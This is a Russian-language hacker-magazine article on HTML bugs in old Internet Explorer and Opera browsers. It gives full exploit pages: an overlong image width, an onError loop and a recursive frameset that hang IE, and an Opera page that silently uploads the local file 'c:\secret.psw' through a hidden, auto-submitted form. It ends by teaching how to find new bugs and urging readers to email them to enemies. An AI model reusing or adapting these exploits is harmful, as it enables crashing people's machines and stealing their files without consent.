Думаю, ты не раз встречал сообщения «Найдена новая бага в IE X.X, позволяющая чего-то там хакнуть». Так вот, чаще всего такие ошибки связаны именно с неправильной обработкой HTML тегов. То есть злобные маньяки могут накодить на таком безобидном языке, как ХаТеМеэЛь что-нибудь пакостное и либо завесить чужую тачку, либо слить с нее нужный файл. Сейчас мы как раз и посмотрим, как это делается.
Для начала немного теории. Сам по себе HTML является интерпретируемым языком программирования. Это значит, что программа, созданная его средствами (по научному – пага обыкновенная) не может запускаться и работать сама по себе (в отличие от компилируемых языков типа Delphi и C++). Между прочим, интерпретируемых языков очень много – это
например Java и многие другие, так что не надо смотреть на HTML, как на отморозка. Идем дальше. Как называется софтина, которая интерпретирует HTML-код? Правильно, браузер. Именно он и служит кладовкой всех багов и ошибок. А почему? Неужели все разработчики такие глупые? Нет, дело не в создателях, а в различных подходах к трактованию HTML-стандарта. Сам по себе этот стандарт является документом, в котором прописаны все теги и их атрибуты. Каждая команда разработчиков старается вложить в свое творение что-нибудь новое, более удобное для пользователя. Это новое можно достичь только одним путем – отступить от стандарта. Вот тут то мы их и ждем. Но не все так просто!
HTML сам по себе содержит такие же уязвимости, как, скажем, С++. Все те же недостатки: что-то куда-то не поместилось или неправильно интерпретировалось. Результат – машина виснет или user.dat медленно переплывает в чужой карман. В общем, хватит болтологии – впереди нас ждут реальные примеры.
В начале пробежимся по багам Internet Explorer’а. Сразу оговорюсь, что варианты создания бесконечного цикла средствами Java и PHP предлагать не надо – во-первых, это примитивно, а, во-вторых, мы же про HTML говорим в конце то концов.
Не стану тебя обманывать, все баги, которые мы будем рассматривать, уже, скорее всего, исправлены в последних версиях браузеров. Но их анализ все равно очень полезен – он позволяет выявить некоторые закономерности.
<html>
<head>
<title>
IE "width=000..." bug
</title>
</head>
<body>
<img width=00000000000000000000000000 00000000000000000000000000000
000000000000000000000000000 000000000000000000 0000000000000000000000000000
0000000000000000000000 000000000000000000000001>
Твой браузер не содержит этой ошибки. Можешь закрыть это окно.
</body>
</html>
Этой уязвимости подвержен IE 4.х и ниже. Что же происходит? Когда ослик доходит до задания ширины (кстати, можно использовать и высоту) картинки, то считывает значение в определенный статический буфер (его размер ограничен). Наша задача – вызвать переполнение этого буфера. Это можно сделать двумя путями: вместо размера подставить число заведомо большее максимального значения или ОЧЕНЬ длинное (но не больше максимального). Если IE наткнется на параметр больший некоторого максимального, то заменит его на этот максимум (никакой ошибки не будет), а вот с длинным (ОЧЕНЬ длинным) числом ослик не справляется… В результате браузер виснет и, если IE стоит не на NT-платформе, падает вся ось.
Идем дальше, все тот же тег «img» (вставка картинки). Новая бага была найдена совсем недавно (xakep.ru рассказывал о ней в разделе Bug Traq) в IE 5.0-6.0, а вызывает ее вот такой очень изящный код:
<html>
<head>
<title>
IE src="::" onError… bug
</title>
</head>
<body>
<img src="::" onError="this.src='::';">
Твой браузер не содержит этой ошибки. Можешь закрыть это окно.
</body>
</html>
А что здесь вызывает ошибку? Все то же переполнение буфера! На первый взгляд это незаметно, однако, приглядевшись поближе, ты поймешь, в чем суть. Давай проанализируем этот код. Браузер доходит до тега «img» и сразу встречает основной атрибут этого тега «src», который указывает на файл с изображением. Очевидно, что "::" является некорректным заданием такого пути ("::" не является ни гиперссылкой, ни обычным путем на сервере). Следовательно, возникает ошибка. Если бы тег имел такой вид
<img src="https://xakep.ru/wp-content/uploads/post/15992/::">,
то IE не обратил бы никакого внимания на всю эту конструкцию и просто выдал надпись «Твой браузер не содержит этой ошибки. Можешь закрыть это окно». Но наш тег содержит собственный обработчик ошибки, который указывает на все тот же, некорректный путь. После этого опять возникает ошибка и браузер вновь пользуется нашим обработчиком и все начинается снова… до тех пор пока у ослика не съедет крыша, то бишь буфер не переполнится. Самое интересное, что слово onError в спецификации HTML 4.0 нигде не упоминается (я по крайней мере не нашел его), так что это, скорее всего, недокументированная функция
IE.
Вот еще одна ошибка IE 4.x. Все тот же бесконечный цикл, вызванный опять таки очень красиво. Следующий код просто вешает осла.
<HTML>
<HEAD>
<TITLE>IE 4 FRAME BUG</TITLE>
</HEAD>
<FRAMESET ROWS = 50%,50%
<FRAME SRC = "1.htm">
<FRAME SRC = "1.htm">
</FRAMESET>
<BODY>
</BODY>
</HTML>
Тут есть одна тонкость – этот код нужно сохранить в файле с именем 1.html. Суть этого фрагмента проста – IE делит экран на две равные части (фреймы), в каждой из которых отображает снова 1.html. Теперь каждую половину экрана приходится делить снова на две части и так далее. Опять же переполнение буфера и крах. Обрати внимание, как хорошо продуманы последние два примера!
Переходим к Opera. Этот очень быстрый браузер тоже грешит серьезными ошибками. Некоторые из них даже серьезнее, чем у коллеги-осла.
<input type="file">
Очень полезный тег, имеющий атрибут «value». Этот атрибут используется для закачивания файлов на сервер. Естественно, браузер очень подозрительно относится к сочетанию данных тега и атрибута. IE, например, вообще не позволяет использовать такую комбинацию. Но разработчики Opera пошли по иному пути. Они оставили возможность применять эту конструкцию, взамен, при попытке слить какой-либо файл, браузер спрашивает разрешения пользователя. Бага в том, что совокупность символов " " (конец строки в HTML представлении), добавленная после имени файла, позволяет обмануть Opera. Она думает, что файл не перекачивается и глубоко заблуждается. А чтобы не появлялось окно закачки (вернее, чтобы его не было видно) нужно добавить атрибут style="visibility:hidden". Таким образом, можно вообще без потрохов остаться!
<HTML>
<HEAD>
<TITLE>Opera sends file </TITLE>
</HEAD>
<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php"
name="secForm">
<input type="file" name="expFile" value="c:\secret.psw
"
style="visibility:hidden">
</form>
</body>
</HTML
Диагноз
Браузеров без html-багов не бывает. Твоя задача только отыскать их. Для этого нужно пользоваться тремя простыми правилами:
- использовать специальные символы в HTML представлении
- эксперементировать с длиной и величиной числовых значений
- пробовать различные комбинации строковых параметров
Первое подразумевает использование пробелов, новых строк и тому подобного повсеместно. Второе – помогает завесить браузер. Третье в сочетании с первым помогает получить доступ к «секретным данным» (как сказали в одном фильме :)).
Часто для того, чтобы повесить машину можно использовать рекурсию.
Простейший пример такого способа, это код для IE, создающий огромное число фреймов.
Самое интересное, что многие интересные баги, найденные, к примеру, в IE могут вполне быть и в Opera (и наоборот). У меня просто никак руки не дойдут
поэксперементировать… Ну ты понял, что я имею в виду.
После того, как найдешь какой-нибудь баг, зашивай его в html-форму и шли недругам по мылу. Заодно и мне сообщи об уязвимости – у меня ведь тоже недруги есть 🙂 !